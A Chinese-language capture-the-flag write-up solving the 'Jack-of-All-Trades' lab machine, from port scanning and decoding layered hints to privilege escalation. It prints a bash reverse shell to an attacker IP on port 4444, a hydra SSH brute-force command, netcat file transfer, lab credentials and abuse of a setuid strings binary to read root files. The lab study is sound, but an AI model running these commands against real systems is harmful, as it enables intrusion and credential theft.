Jack-of-All-Trades
一、信息收集
- 先使用nmap扫一下Ip看看开放了哪些端口,这里很奇怪,22端口上面却是部署着http协议,看了一下wp这里要使用浏览器绕过这个限制
nmap -sS -A -Pn 10.10.196.165

- 这里使用firefox,在导航栏里面搜索
about config
然后再出来的搜索框这里再搜索network.security.ports.banned.override
在某些 Firefox 版本中,这可能会显示无结果(在这种情况下,在页面上右键单击任何位置,选择 new -> String
并将搜索查询用作首选项名称)——在其他版本中,它将显示与我相同的内容



- 这里使用dirsearch扫一下这个ip看看有什么文件,这里记得要加22端口
python3 dirsearch.py -u http://10.10.196.165:22 -e php,html,txt -t 50 -x 403,401


二、渗透利用

- 这个css点开什么都没有,下手点只能是那几个图片了,先放着我忘记站点的源文件有什么了

- 回到首页右键源代码,这里给我了一段提示有一个 隐藏功能页面
/recovery.php
,并且下面还给了我一段编码后的的文字,看起来是base64编码,
UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==

- 将这段base64编码解密后又给了我一段提示,给了我们一个密码u?WtKSraq现在我们先访问一下给我们的那个隐藏的php目录

- 这里告诉我们当前用户名为Jack根据上面那个base64编码给我们的密码尝试这登录一下,发现有点不对劲,因为输入账户密码后页面加载了一下,就没反应了,也不显示账户或者密码 报错,就只是加载了一下。抓包看看

- 这里抓包发包后又有一段隐藏的文字看起来又是base64编码解密一下

- 这里拿到kali里面解码一下,发现乱码了。说明这里虽然是base64编码,但是解码之后得到的是不纯的文本,而是二进制文件,所以这里要将解码后保存成文件才行

echo "GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=" | base64 -d > decoded.bin
- 查看一下文件类型,发现还是报错,可能这并不是base64编码

- 我问了一下ai,ai'提示我说这里可能是base32编码,我尝试着解码一下

45727a727a6f72652067756e67206775722070657271726167766e79662067622067757220657270626972656c207962747661206e657220757671717261206261206775722075627a72636e7472212056207861626a2075626a20736265747267736879206c6268206e65722c20666220757265722766206e20757661673a206f76672e796c2f3247694c443246
hex_data = "45727a727a6f72652067756e67206775722070657271726167766e79662067622067757220657270626972656c207962747661206e657220757671717261206261206775722075627a72636e7472212056207861626a2075626a20736265747267736879206c6268206e65722c20666220757265722766206e20757661673a206f76672e796c2f3247694c443246"
text = bytes.fromhex(hex_data).decode('utf-8', errors='ignore')
print(text)
- 解密后的结果看不懂,丢ai问了一下这是ROT13加密的文本
Erzzore gung gur perqragvnyf gb gur erpbirel ybtva ner uvqra ba gur ubzrcntq! V xabj ubj sbetrgshy lbh ner, fb uref'n n uvag: ovg.yl/2GiLD2F
import codecs
rot13_text = codecs.decode(text, 'rot_13')
print(rot13_text)
- 解码后给了我们一个提示
- 记住,恢复登录的凭证隐藏在主页上! 我知道你有多直接,所以这里有个提示:bit.ly/2TiYQ2S
Remember that the credentials to the recovery login are hidden on the homepage!
I know how forwardly you are, so here's a hint: bit.ly/2TiYQ2S
- 短链接直接访问失效了,还是得从主页下手,f12开发者工具栏,在head标签第一个style样式里面发现了编码

background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=");
data:image/png;base64,...
表示这是一张 PNG 图片的 Base64 编码把这个 Base64 解码成 PNG 图片文件,然后查看图片内容,注意把 iVBOR...
后面的完整 Base64 数据都保存进去
echo "iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=" > img.b64
base64 -d img.b64 > img.png
xdg-open img.png
- 还是报错这里看了一下wp原本那个短链接是能访问的我这里访问报错,访问短链接后会给一个对剑齿龙的维基百科,这里赫然醒目这
Stegosauria
这几个字,配合这前的assets目录下载看看有什么东西


- 使用命令查看 这里提示我们要使用密码,我们使用jack的密码u?WtKSraq,对其中两个文件分别查看,告诉我们了一个creds.txt和cms.creds 这里查看creds.txt告诉我们文件错了但是方向是对的,那么我们查看cms.creds看看

Username: jackinthebox
Password: TplFxiSHjY


三、内网渗透
- 看看当前用户,写一个反弹的shell进去,在kali启动监听端口,拿到shell
bash -c 'bash -i >& /dev/tcp/10.17.35.134/4444 0>&1'
URL编码:bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.17.35.134%2F4444%200%3E%261%27

- 在翻阅目录的过程中发现了在home目录下面有关于jack的密码

- 将jack的密码保存在本地上面,使用九头蛇对ssh服务进爆破,拿到jack的密码ITMJpGGIqg1jn?>@
hydra -l jack -P <path-to-copied-passwords> -s 80 ssh://<remote-ip>

ssh -p 80 jack@10.10.120.43

nc -h

- 使用nc将图片传输到我们的kali上面使用默认查看器查看图片,也是看到了我们想要的东西
靶机: nc IP 4444 < user.jpg
KALI:nc -lvnp 4444 > user.jpg
xdg-open user.jpg

四、提权
- 这里我想查看能以root身份启动的命令和计划任务都没有可以利用的地方,那么看看SUID文件

- 最值得马上试的是
/usr/bin/strings
(setuid root) —— 这是不常见且很有价值的“直接读 root 只读文件”的途径。你可以用它读取 /etc/shadow
等通常只有 root 能读的文件,我们可以利用这个直接拿到我们想要的东西
find / -perm -4000 -type f 2>/dev/null

- 直接使用string读取位于根目录下面的root.txt
/usr/bin/strings /root/root.txt
